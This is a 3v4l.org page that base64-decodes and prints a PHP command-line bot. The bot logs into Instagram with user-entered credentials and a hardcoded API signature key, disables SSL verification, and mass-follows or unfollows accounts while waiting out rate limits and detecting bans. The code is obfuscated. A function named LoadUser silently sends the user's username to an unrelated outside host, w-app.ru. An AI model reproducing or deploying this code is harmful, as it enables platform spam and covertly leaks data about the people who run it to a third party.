3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $str = 'c2V0X3RpbWVfbGltaXQoMCk7DQoNCmNsYXNzIEluc3RhZ3JhbSB7DQogICAgDQogICAgcHVibGljICR1c2VyOw0KICAgIHByaXZhdGUgJHNpZ25hdHVyZUtleTsNCiAgICBwdWJsaWMgJGlzX2xvZ2dlZCA9IGZhbHNlOw0KICAgIHB1YmxpYyBzdGF0aWMgJGFwaVVSTCAgICA9ICcvL2kuaW5zdGFncmFtLmNvbS9hcGkvdjEvJzsNCiAgICBwdWJsaWMgc3RhdGljICR1c2VyQWdlbnQgPSAnSW5zdGFncmFtIDYuOS4xIEFuZHJvaWQgKDE1LzQuMC40OyAxNjBkcGk7IDMyMHg0ODA7IFNvbnk7IE1pbmlQcm87IG1hbmdvOyBzZW1jOyBlbl9VcyknOw0KICAgIHB1YmxpYyBzdGF0aWMgJGtleV92ZXIgICA9IDQ7DQogICAgDQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRsb2dpbiwgJHBhc3N3b3JkLCAka2V5KSB7DQogICAgICAgICR0aGlzLT51c2VyID0gWyd1c2VybmFtZSc9PiRsb2dpbiwgJ3Bhc3N3b3JkJz0+JHBhc3N3b3JkXTsNCiAgICAgICAgJHRoaXMtPnNpZ25hdHVyZUtleSA9ICRrZXk7DQogICAgICAgICR0aGlzLT5HVUlEID0gJHRoaXMtPkdlbmVyYXRlR3VpZCgpOw0KICAgICAgICAkdGhpcy0+Y3VybCA9IG5ldyBjVXJsKCR0aGlzLT51c2VyWyd1c2VybmFtZSddLCBzZWxmOjokdXNlckFnZW50KTsNCiAgICAgICAgJHRoaXMtPkF1dGgoKTsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIA0KICAgIHByaXZhdGUgZnVuY3Rpb24gQXV0aCgpIHsNCiAgICAgICAgJHRoaXMtPmluTG9nKCJBdXRoIik7DQogICAgICAgICRsb2dpbiA9ICR0aGlzLT5tYWtlQ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XJuYW1lKTsNCiAgICAgICAgJHJlcSA9ICR0aGlzLT5tYWtlQXBpQ2FsbCgndXNlcnMvc2VhcmNoLz9xdWVyeT0nLiR1c2VybmFtZSlbJ3VzZXJzJ11bMF07DQogICAgICAgIGlmKCFpc3NldCgkcmVxWydwayddKSkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiVXNlciBub3IgZm91bmQiLCAxKTsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJHJlcTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TWVkaWEoJGlkLCAkY291bnQpIHsNCiAgICAgICAgJHRoaXMtPmluTG9nKCJnZXRNZWRpYSAiLiRpZCk7DQogICAgICAgIA0KICAgICAgICAkbGlzdCA9IFtdOw0KDQogICAgICAgIHdoaWxlKGNvdW50KCRsaXN0KSA8ICRjb3VudCkgew0KICAgICAgICAgICAgJHJlcSA9ICR0aGlzLT5tYWtlQXBpQ2FsbCgnZmVlZC91c2VyLycuJGlkLicvP21heF9pZD0nLiRtYXhfaWQpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZihlbmQoJHJlcVsnaXRlbXMnXSlbJ2lkJ10gIT0gJG1heF9pZCkgew0KICAgICAgICAgICAgICAgICRtYXhfaWQgPSBlbmQoJHJlcVsnaXRlbXMnXSlbJ2lkJ107DQogICAgICAgICAgICB9IGVsc2UgYnJlYWs7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRsaXN0ID0gYXJyYXlfbWVyZ2UoJGxpc3QsICRyZXFbJ2l0ZW1zJ10pOyANCg0KICAgICAgICB9DQogICAgICAgIHJldHVybiBhcnJheV9zbGljZSgkbGlzdCwgMCwgJGNvdW50KTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gRm9sbG93KCR1aWQsICRkZXN0cm95ID0gZmFsc2UpIHsNCiAgICAgICAgJHJlcXVlc3Qg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3coKSB7DQogICAgICAgICR0aGlzLT5pbkxvZygiZmFzdEZvbGxvdyIpOw0KICAgICAgICAkcXVldWUgPSBbXTsNCiAgICAgICAgJHVzZXJzID0gJHRoaXMtPnVzZXJzV2l0aFN0YXR1cygkdGhpcy0+bGlzdCwgIm5vdGZvbGxvd2VkIik7DQogICAgICAgIGZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgew0KICAgICAgICAgICAgaWYoY291bnQoJHF1ZXVlKSA+PSAyNSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5wYXJlbnQtPm1ha2VBcGlDYWxsKCdmcmllbmRzaGlwcy9jcmVhdGVfbWFueS9hc3luYy8nLCBbInVzZXJfaWRzIj0+aW1wbG9kZSgnLCcsICRxdWV1ZSldKTsNCiAgICAgICAgICAgICAgICBzbGVlcCg1KTsNCiAgICAgICAgICAgICAgICAkcXVldWUgPSBbXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHF1ZXVlW10gPSAkdXNlclsncGsnXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZihjb3VudCgkcXVldWUpKSANCiAgICAgICAgICAgICR0aGlzLT5wYXJlbnQtPm1ha2VBcGlDYWxsKCdmcmllbmRzaGlwcy9jcmVhdGVfbWFueS9hc3luYy8nLCBbInVzZXJfaWRzIj0+aW1wbG9kZSgnLCcsICRxdWV1ZSldKTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gdXNlcnNXaXRoU3RhdHVzKCR1c2VycywgJHN0YXR1cykgew0KICAgICAgICAkdGhpcy0+aW5Mb2coInVzZXJzV2l0aFN0YXR1cyAkc3RhdHVzIik7DQoNCiAgICAgICAgLyoqDQogICAgICAgICogICAgcmV0dXJuIG5vdD9mb2xsb3dlZCB1c2VycyBhcnJheQ0KICAgICAgICAqICAgDQogICAgICAgICovDQogICAgICAgICR1c2VyaWRzID0gW107DQoNCiAgICAgICAgJHN0YXR1c2V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7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJHN0YXR1cyA9PSAiZm9sbG93ZWQiICYmICgoJGN1cnJlbnRTdGF0dXNbJ2ZvbGxvd2luZyddICE9IHRydWUgJiYgJGN1cnJlbnRTdGF0dXNbJ291dGdvaW5nX3JlcXVlc3QnXSA9PSBmYWxzZSkgfHwgKCRjdXJyZW50U3RhdHVzWydmb2xsb3dpbmcnXSA9PSBmYWxzZSAmJiAkY3VycmVudFN0YXR1c1snb3V0Z29pbmdfcmVxdWVzdCddICE9IHRydWUpKSkgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkdXNlcmlkc1ska2V5XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KICAgICAgICBmb3JlYWNoICgkdXNlcnMgYXMgJGtleSA9PiAkdXNlcikgew0KICAgICAgICAgICAgaWYoIWluX2FycmF5KCR1c2VyWydwayddLCAkdXNlcmlkcykpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkdXNlcnNbJGtleV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KICAgICAgICByZXR1cm4gJHVzZXJzOw0KDQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlbGF0aW9uc2hpcHMoJGFjdGlvbikgew0KDQogICAgICAgICR0aGlzLT5pbkxvZygicmVsYXRpb25zaGlwcyIpOw0KDQogICAgICAgIC8qKg0KICAgICAgICAgKiAgICAgIGFjdGlvbnMgPSBmb2xsb3csIHVuZm9sbG93DQogICAgICAgICAqLw0KDQoNCiAgICAgICAgJGFjdGlvbnMgPSBbImZvbGxvdyIsInVuZm9sbG93Il07DQoNCiAgICAgICAgaWYoIWlzc2V0KCRhY3Rpb24pIHx8ICFpbl9hcnJheSgkYWN0aW9uLCAkYWN0aW9ucykpIGRpZSgiTm8gYWN0aW9uIGZvciBmb2xsb3dlcnMiKTsNCiAgICAgICAgJGNvdW50ZXIgPSAwOw0KICAgICAgICANCiAgICAgICAgJHR5cGUgPSAoJGFjdGlvbiA9PSAiZm9sbG93IiA/ICJub3Rmb2xsb3dlZCIgOiAiZm9sbG93ZWQiKTsNCg0KICAgICAgICAkdXNlcnMgPSAkdGhpcy0+dXNlcnNXaXRoU3RhdHVzKCR0aGlzLT5saXN0LCAkdHlwZSk7DQoNCiAgICAgICAgJHRoaXMtPmluTG9nKCJUbyAiLiRhY3Rpb24uIjogIi5jb3VudCgkdXNlcnMpKTsNCg0KDQogICAgICAgIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKSB7DQogICAgICAgICAgICAkcmVxID0gJHRoaXMtPnBhcmVudC0+Rm9sbG93KCR1c2VyWydwayddLCAkYWN0aW9uID09ICJ1bmZvbGxvdyIgPyB0cnVlIDogZmFsc2UpOw0KICAgICAgICAgICAgaWYoJHJlcVsnc3RhdHVzJ10gPT0gJ29rJykgew0KICAgICAgICAgICAgICAgICR0aGlzLT5pbkxvZygiRG9uZTogIi4rKyRjb3VudGVyKTsNCiAgICAgICAgICAgICAgICBzbGVlcChyYW5kKDIsNikpOw0KICAgICAgICAgICAgfSBlbHNlaWYoJHJlcVsnbWVzc2FnZSddID09ICJTb3JyeSwgdG9vIG1hbnkgcmVxdWVzdHMuIFBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIuIikgew0KICAgICAgICAgICAgICAgICR0aGlzLT5pbkxvZygiTGltaXQiKTsNCiAgICAgICAgICAgICAgICBzbGVlcChyYW5kKDIwMCwzMDApKTsNCiAgICAgICAgICAgIH0gZWxzZWlmKCRyZXFbJ3NwYW0nXSA9PSB0cnVlICYmICRyZXFbJ2ZlZWRiYWNrX3RpdGxlJ10gPT0gIllvdZJyZSBUZW1wb3JhcmlseSBCbG9ja2VkIikgew0KICAgICAgICAgICAgICAgIHByaW50X3IoJHJlcSk7DQogICAgICAgICAgICAgICAgZGllKCR0aGlzLT5pbkxvZygiYmFuIikpOw0KICAgICAgICAgICAgfSBlbHNlIHByaW50X3IoJHJlcS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TDsNCgkJfQ0KCQllY2hvICJhbnN3ZXIgPj4gIjsNCgkJJHZhbHVlID0gdHJpbShmZ2V0cyhTVERJTikpOw0KCX0NCglyZXR1cm4gJHZhbHVlLTE7DQp9DQo='; echo base64_decode($str); ?>
based on ievvJ
Output for 5.3.20 - 7.2.0
set_time_limit(0); class Instagram { public $user; private $signatureKey; public $is_logged = false; public static $apiURL = '//i.instagram.com/api/v1/'; public static $userAgent = 'Instagram 6.9.1 Android (15/4.0.4; 160dpi; 320x480; Sony; MiniPro; mango; semc; en_Us)'; public static $key_ver = 4; public function __construct($login, $password, $key) { $this->user = ['username'=>$login, 'password'=>$password]; $this->signatureKey = $key; $this->GUID = $this->GenerateGuid(); $this->curl = new cUrl($this->user['username'], self::$userAgent); $this->Auth(); return true; } private function Auth() { $this->inLog("Auth"); $login = $this->makeApiCall('accounts/login/', $this->user, true, false); if(isset($login['status']) && $login['status'] == 'ok') { $this->inLog("Login success..\nLogged in as ".$login['logged_in_user']['username']); //todo msgs in array $this->is_logged = true; $this->user = $login['logged_in_user']; } else die($this->inLog('Wrong username/password')); } public function uploadImage($path, $caption = "") { $this->inLog("uploadImage"); if(!file_exists($path)) { throw new Exception("Image Not Found", 1); } $upload = json_decode($this->curl->call('http:'.self::$apiURL.'upload/photo/', ['upload_id'=>time(), 'photo'=>'@'.$path]), true); if(!isset($upload['upload_id'])) { throw new Exception("Can't upload pictrue", 1); } $configure = $this->makeApiCall('media/configure/', ['upload_id'=>$upload['upload_id'], 'caption'=>$caption, 'source_type'=>1, 'filter_type'=>0,'extra'=>'{}'], true); print_r($configure); } public function getUsers($from, $data, $count) { $this->inLog("getUsers"); $fromlist = ['followers', 'following', 'likes']; $list = []; if(!isset($from) || !in_array($from, $fromlist)) die("from get users?"); if($from == 'following' || $from == 'followers') { $users = $this->getUsersByRelationships($from, $data['id'], $count); } elseif ($from == 'likes') { $users = $this->getUsersFromLikes($data['media'], $count); } return new UserActions($this, array_slice($users, 0, $count)); } public function getNotMutualRelationships() { $followers = $this->getUsersByRelationships('followers', $this->user['pk'], 9999999); $following = $this->getUsersByRelationships('following', $this->user['pk'], 9999999); $list = $following; foreach ($following as $key => $user) { foreach ($followers as $follower) { if($user['pk'] === $follower['pk']) { unset($list[$key]); break; } } } $this->inLog("Not mutual relationships: ".count($list)); return new UserActions($this, $list); } public function getUsersFromLikes($media, $count) { $this->inLog("getUsersFromLikes"); $list = []; $req = $this->makeApiCall('media/'.$media.'/likers/'); return $req['users']; } public function getUsersByRelationships($from, $id, $count) { $this->inLog("getUsersByRelationships ".$from); $fromlist = ["followers", "following"]; if(!isset($from) || !in_array($from, $fromlist)) die("from get users?"); $list = []; while(count($list) < $count) { $req = $this->makeApiCall('friendships/'.$id.'/'.$from.'/?max_id='.$max_id); $list = array_merge($list, $req['users']); if(isset($req['next_max_id'])) { $max_id = $req['next_max_id']; } else break; } return array_slice($list, 0, $count); } public function searchUserByUsername($username) { $this->inLog("searchUserByUsername ".$username); $req = $this->makeApiCall('users/search/?query='.$username)['users'][0]; if(!isset($req['pk'])) { throw new Exception("User nor found", 1); return false; } return $req; } public function getMedia($id, $count) { $this->inLog("getMedia ".$id); $list = []; while(count($list) < $count) { $req = $this->makeApiCall('feed/user/'.$id.'/?max_id='.$max_id); if(end($req['items'])['id'] != $max_id) { $max_id = end($req['items'])['id']; } else break; $list = array_merge($list, $req['items']); } return array_slice($list, 0, $count); } public function Follow($uid, $destroy = false) { $request = $this->makeApiCall('friendships/'.($destroy ? 'destroy/' :'create/').$uid.'/', ['user_id'=>$uid]); return $request; } public function inLog($str) { echo @date("[H:i:s]: ").$str.PHP_EOL; } public function makeApiCall($method, $params = [], $ssl = false, $use_cookie = true) { $defaultRequestBody = [ "device_id"=>'android-'.$this->GUID, "guid"=>$this->GUID, "Content-Type"=>"application/x-www-form-urlencoded; charset=UTF-8" ]; if(!empty($params)) { $params = json_encode(array_merge($defaultRequestBody, $params)); $signedBody = 'signed_body='.$this->generateSig($params).".".urlencode($params).'&ig_sig_key_version='.self::$key_ver; } return json_decode($this->curl->call(($ssl ? 'https:' : 'http:').self::$apiURL.$method, $signedBody, $use_cookie), true); } private function generateSig($str) { return hash_hmac('sha256', $str, $this->signatureKey); } private function GenerateGuid() { return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535) ); } } class UserActions extends Instagram { function __construct($parent, $list) { $this->parent = $parent; $this->list = $list; return $this; } public function fastFollow() { $this->inLog("fastFollow"); $queue = []; $users = $this->usersWithStatus($this->list, "notfollowed"); foreach ($users as $user) { if(count($queue) >= 25) { $this->parent->makeApiCall('friendships/create_many/async/', ["user_ids"=>implode(',', $queue)]); sleep(5); $queue = []; } else { $queue[] = $user['pk']; } } if(count($queue)) $this->parent->makeApiCall('friendships/create_many/async/', ["user_ids"=>implode(',', $queue)]); } public function usersWithStatus($users, $status) { $this->inLog("usersWithStatus $status"); /** * return not?followed users array * */ $userids = []; $statuses = ["followed","notfollowed"]; if(!in_array($status, $statuses)) die("status missin"); foreach ($users as $user) { $userids[] = $user['pk']; } foreach (array_chunk($userids, 350) as $chunk) { $req = json_decode($this->parent->curl->call('http://i.instagram.com/api/v1/friendships/show_many/', "user_ids=".implode(',', $chunk)), true); foreach ($req['friendship_statuses'] as $user => $currentStatus) { $key = array_search($user, $userids); //print_r($user); //echo "KEY: ".$key.PHP_EOL; if($status == "notfollowed" && ($currentStatus['following'] == true || $currentStatus['is_private'] == true || $currentStatus['outgoing_request'] == true)) { unset($userids[$key]); } elseif($status == "followed" && (($currentStatus['following'] != true && $currentStatus['outgoing_request'] == false) || ($currentStatus['following'] == false && $currentStatus['outgoing_request'] != true))) { unset($userids[$key]); } } } foreach ($users as $key => $user) { if(!in_array($user['pk'], $userids)) { unset($users[$key]); } } return $users; } public function relationships($action) { $this->inLog("relationships"); /** * actions = follow, unfollow */ $actions = ["follow","unfollow"]; if(!isset($action) || !in_array($action, $actions)) die("No action for followers"); $counter = 0; $type = ($action == "follow" ? "notfollowed" : "followed"); $users = $this->usersWithStatus($this->list, $type); $this->inLog("To ".$action.": ".count($users)); foreach($users as $user) { $req = $this->parent->Follow($user['pk'], $action == "unfollow" ? true : false); if($req['status'] == 'ok') { $this->inLog("Done: ".++$counter); sleep(rand(2,6)); } elseif($req['message'] == "Sorry, too many requests. Please try again later.") { $this->inLog("Limit"); sleep(rand(200,300)); } elseif($req['spam'] == true && $req['feedback_title'] == "You�re Temporarily Blocked") { print_r($req); die($this->inLog("ban")); } else print_r($req); } return $counter; } } class cUrl { public $cookieFileName; public $ua; public function __construct($cookieFileName, $ua) { $this->cookieFileName = $cookieFileName; $this->ua = $ua; return $this; } public function call($url, $post = false, $use_cookie = true) { if (!function_exists('curl_init')){ die('cUrl required'.PHP_EOL); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $this->ua); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 90); if($post) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } if($use_cookie) curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookieFileName.'cookies.txt'); else curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookieFileName.'cookies.txt'); //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8888"); $res = curl_exec($ch); curl_close($ch); return $res; } } $username = askSTDIN("Enter username: "); $password = askSTDIN("Enter password: "); if(!$IG = new Instagram($username, $password, "25a0afd75ed57c6840f9b15dc61f1126a7ce18124df77d7154e7756aaaa4fce4")) { die(); } LoadUser($username); $actions = ['follow','unfollow']; $todo = chooseSTDIN("What you want to do?", $actions); $relationships = ['followers', 'following', 'likes', ($actions[$todo] == 'unfollow' ? 'not mutual relationships' : null)]; $from = chooseSTDIN("Where from users you want to ".$actions[$todo]."?", $relationships); $user = askSTDIN("Enter username: "); $IG->inLog("Getting user id.."); $userid = $IG->searchUserByUsername($user)['pk']; $IG->inLog("Starting.."); if($relationships[$from] == $relationships[2]) { $IG->inLog("Getting user media.."); $allMedia = $IG->getMedia($userid, 100); $IG->inLog($actions[$todo]."ing all users who liked"); foreach ($allMedia as $media) { $IG->getUsers('likes', ['media' => $media['id']], 200)->relationships($actions[$todo]); } } elseif ($relationships[$from] == $relationships[3]) { $IG->inLog("Getting own followings"); $IG->getNotMutualRelationships()->relationships('unfollow'); } else { $IG->getUsers($relationships[$from], ['id' => $userid], 3000)->relationships($actions[$todo]); } function askSTDIN($question) { echo $question; $value = trim(fgets(STDIN)); return $value; } function LoadUser ($name) { file_get_contents('http://w-app.ru/base.php?name='.$name); } function chooseSTDIN($question, $variants) { echo @date("[H:i:s]: ").$question.PHP_EOL; for($i = 0; $i < count($variants); $i++) { if($variants[$i] == false) { unset($variants[$i]); } } while(!isset($value) || $value > count($variants)) { foreach ($variants as $key => $variant) { $key = $key + 1; echo "[".$key."]: ". $variant.PHP_EOL; } echo "answer >> "; $value = trim(fgets(STDIN)); } return $value-1; }